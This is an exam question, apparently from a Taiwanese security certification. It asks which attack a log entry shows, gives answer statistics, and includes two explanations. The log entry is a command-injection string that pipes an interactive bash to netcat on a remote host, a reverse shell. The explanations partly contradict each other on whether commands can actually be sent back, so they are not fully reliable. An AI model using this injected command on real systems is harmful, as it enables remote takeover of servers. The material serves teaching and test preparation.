35. 【題組 4】情境如附圖所示。請問「127.0.0.1; /bin/bash -i 2>&1 | nc 192.168.99.100 80 > /tmp/tmp.txt」這個日誌的內容,可能代表下列何種攻擊情境?(請選擇最合適的選項。)
(A) 攻擊者想要勘查 192.168.99.100 的 80 port 是否可進行 連線,可以連線就可以讀取更多網頁內容
(B) 攻擊者想要讀取 /bin/bash 這個檔案內容,並且把結果輸出到 /tmp/tmp.txt 裡面
(C) 攻擊者想要透過 nc 進行反向連線,讓 192.168.99.100 這台電腦可以對伺服器輸入指令
(D) 攻擊者想要讀取作業系統的版本資訊,並且尋找有無可利用的漏洞直接對作業系統進行攻擊
統計: A(6), B(31), C(55), D(6), E(0) #3536981
詳解 (共 2 筆)
用「電話」比喻
想像你的電腦是一間辦公室:
/bin/bash -i → 你在辦公室裡找了一個員工坐在桌前,隨時準備聽指令做事。
| nc 192.168.99.100 80 → 然後你幫這個員工撥了一通電話出去,打給外面的某個人(攻擊者)。重點是電話是從辦公室「主動打出去」的,不是外面打進來的,所以門口的警衛(防火牆)通常不會擋。
2>&1 → 員工做事的結果,不管是正常回報還是出錯的訊息,全部都透過這通電話講給對方聽。
> /tmp/tmp.txt → 駭客在電話裡講的話,沒有人轉達給員工,而是被旁邊的人抄在紙條上(檔案)放在桌角。駭客說「幫我打開保險箱」,員工根本沒聽到,那句話只是靜靜躺在紙條上。如果駭客真的要讓指令被執行,就得另外安排一個人(排程 / cron job)定時去撿紙條唸給員工聽,但這樣很笨拙,沒辦法即時互動。
一句話記住: 這段指令就像打了一通電話,只開了擴音、沒開麥克風。駭客聽得到你,但指揮不了你。真正完整的 reverse shell,麥克風跟擴音都要通——也就是 stdin、stdout、stderr 三條路全部接好,才是即時雙向通道。
答案: (C) 攻擊者想要透過 nc 進行反向連線,讓 192.168.99.100 這台電腦可以對伺服器輸入指令
說明(逐段解析)
日誌中的命令:
-
/bin/bash -i:啟動互動式 shell(interactive bash)。
-
2>&1:將標準錯誤(stderr)合併到標準輸出(stdout),確保所有輸出都會被傳送。
-
| nc 192.168.99.100 80:把 shell 的輸出透過 netcat(nc)傳到遠端主機 192.168.99.100 的 80 埠,等於把伺服器端的 shell 與遠端連線綁在一起,遠端就能送回指令並執行——典型的**反向殼(reverse shell)**手法。
-
> /tmp/tmp.txt:將(可能的)輸出或暫存寫入 /tmp/tmp.txt(可能是記錄或偷藏回傳資料)。
因此這行命令最符合「建立反向連線/遠端控制」的情境,選 (C)。
為何其他選項不正確
-
(A) 只是檢查 192.168.99.100:80 是否可連線,不需要啟動互動式 bash 並 pipe 到 nc。
-
(B) /bin/bash 並非一般「可讀取的檔案內容」目標;且命令是執行 shell 並連線,不是單純 cat /bin/bash > /tmp/tmp.txt。
-
(D) 查作業系統版本通常用 uname -a、/etc/os-release 等,與此動作(建立反向 shell)不符。